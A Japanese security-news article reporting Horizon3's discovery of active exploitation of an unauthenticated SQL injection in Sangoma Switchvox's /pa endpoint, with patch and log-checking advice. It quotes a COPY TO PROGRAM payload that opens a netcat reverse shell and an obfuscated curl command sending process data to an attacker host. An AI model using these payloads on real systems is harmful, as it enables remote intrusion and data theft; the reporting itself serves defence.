nexsight cyber intelligence / signal online wire desk · issue 467
NEXSIGHT CYBER WIRE Cybersecurity News & Intelligence
MONITOR / DECODE / DEFEND 脅威を、意思決定につなげる
注目

脆弱性 / VULNERABILITIES / VOIP

Sangoma Switchvoxの未認証SQLインジェクションCVE-2026-9586を悪用 — Horizon3が実環境での攻撃を確認、パッチは8.4.0.2で公開済み

Horizon3は2026年9月1日、Sangoma Switchvoxの未認証SQLインジェクション脆弱性CVE-2026-9586を悪用する実攻撃をハニーポットで確認したと公表した。/paエンドポイントのPhoneIPパラメータをSQLへ直接連結する不備を突き、COPY TO PROGRAMで任意コマンドを実行する手口で、同一IP 176.65.148.184から複数拠点への連続攻撃が観測された。Sangomaは2026年7月14日に修正版8.4.0.2を公開済みで、Horizon3はログ確認と速やかな更新を呼びかけている。

脆弱性 NEXSIGHT CYBER WIRE 編集部 5 min read
攻撃手法
ソフトウェア

Horizon3は2026年9月1日、エンタープライズ向けVoIP電話管理システムSangoma Switchvoxに存在する未認証SQLインジェクションの脆弱性CVE-2026-9586を悪用する実攻撃を、同社のハニーポット（Defused Cyber）で確認したと公表した。同社は2026年4月にFreePBXの脆弱性がCISAの既知悪用脆弱性カタログ（KEV）に登録されたことを契機にSangoma製品群の調査を開始し、Switchvoxで12件の脆弱性を発見。そのうち最も影響が大きいものがCVE-2026-9586で、Switchvox 8.4.0.2（2026年7月14日公開）で修正済みだと説明している。

未認証で到達可能な/paエンドポイントの連結不備

Switchvoxは内線やボイスメール、転送、監視などの電話システム機能を一元管理する製品である。Horizon3によると、脆弱性は電話機への通知機能が公開する未認証HTTPエンドポイント**/paに存在する。このエンドポイントはPhoneAppsHandler.pmクラスで処理され、通知先へ送るXMLメッセージ内のPhoneIP**フィールドを、パラメータ化せずにSQL文へ直接連結していた。

研究者は、SwitchvoxのPerl実装が難読化されているため、当初は自動脆弱性探索システムが検知した後にエージェントが自動で難読化を解除して解析したと説明している。

攻撃者は細工したXMLを/paへ送ることで、SQL文を破り、PostgreSQLのCOPY TO PROGRAM構文を悪用して任意のコマンドを実行できる。Horizon3が示した例では、次のようなSQLがログに残る。

SELECT proposed_extension FROM auto_phone_config WHERE ip_address = '10.0.0.1'; COPY (SELECT '') TO PROGRAM 'nc 10.0.18.42 4444 -e /bin/bash > /tmp/0d012120ab00297d.txt 2>&1; chmod 644 /tmp/0d012120ab00297d.txt' --' AND config_state = 'configured'

この手法により、単純なcurlリクエストでリバースシェルを取得できると同社は説明している。SSHで装置へアクセスできる場合、攻撃痕跡は/var/log/switchvox/db-quirks.logにSQLペイロードとして記録される。

同一IPから複数ハニーポットへの連続攻撃とプロセス窃取

Horizon3は、Defused Cyberハニーポットで観測された実攻撃の詳細も公開した。攻撃元IPは176.65.148.184で、短時間に複数のハニーポットへ連続して攻撃を送っていたことから、同社は「インターネットに露出したSwitchvoxの多くが既に標的となっている可能性が高い」と評価している。

初期ペイロードに続いて、攻撃者は次のようなコマンドで稼働中プロセスを窃取していた。

curl -m 10 http://<ATTACKER_IP>/<UNIQUE_EXPLOIT_ATTEMPT_ID>_$( { echo dG9wIC1ibjEgfCBhd2sgJy9eICpQSUQvIHtnZXRsaW5lOyBwcmludCAkMSwgJDEyLCAkOX0n | base64 -d | bash; } | base64 -w0)

これはtop -bn1 | awk '/^ *PID/ {getline; print $1, $12, $9}'をbase64で難読化して実行し、結果を外部サーバへ送信する手口だと同社は分析している。

修正版は8.4.0.2で公開済み、Horizon3がログ確認を呼びかけ

Sangomaは2026年7月14日にSwitchvox 8.4.0.2で本脆弱性を修正した。Horizon3は本稿執筆時点で12件の脆弱性が修正されたと説明し、本記事では実攻撃が確認されたCVE-2026-9586のみを詳述している。

Horizon3は、管理者に対し、Switchvoxがインターネットに直接露出していないかを確認し、8.4.0.2以降への速やかな更新、および/var/log/switchvox/db-quirks.logを含むログで攻撃元IP 176.65.148.184や不審なSQLの有無を確認することを呼びかけている。Sangomaのリリースノートでも同バージョンでセキュリティ修正が提供されたことが案内されている。

国内でもIP電話基盤としてSwitchvoxやSangoma製品を利用している組織は、公開された修正版の適用状況を点検し、露出の最小化とログ監視を徹底することが求められる。

出典

この記事は、公開情報と編集部の調査・知見をもとに構成しています。内容は公開時点の情報に基づく解説であり、個別の環境への診断・対応を保証するものではありません。重要な判断では、記事内の出典や各提供元の最新情報もご確認ください。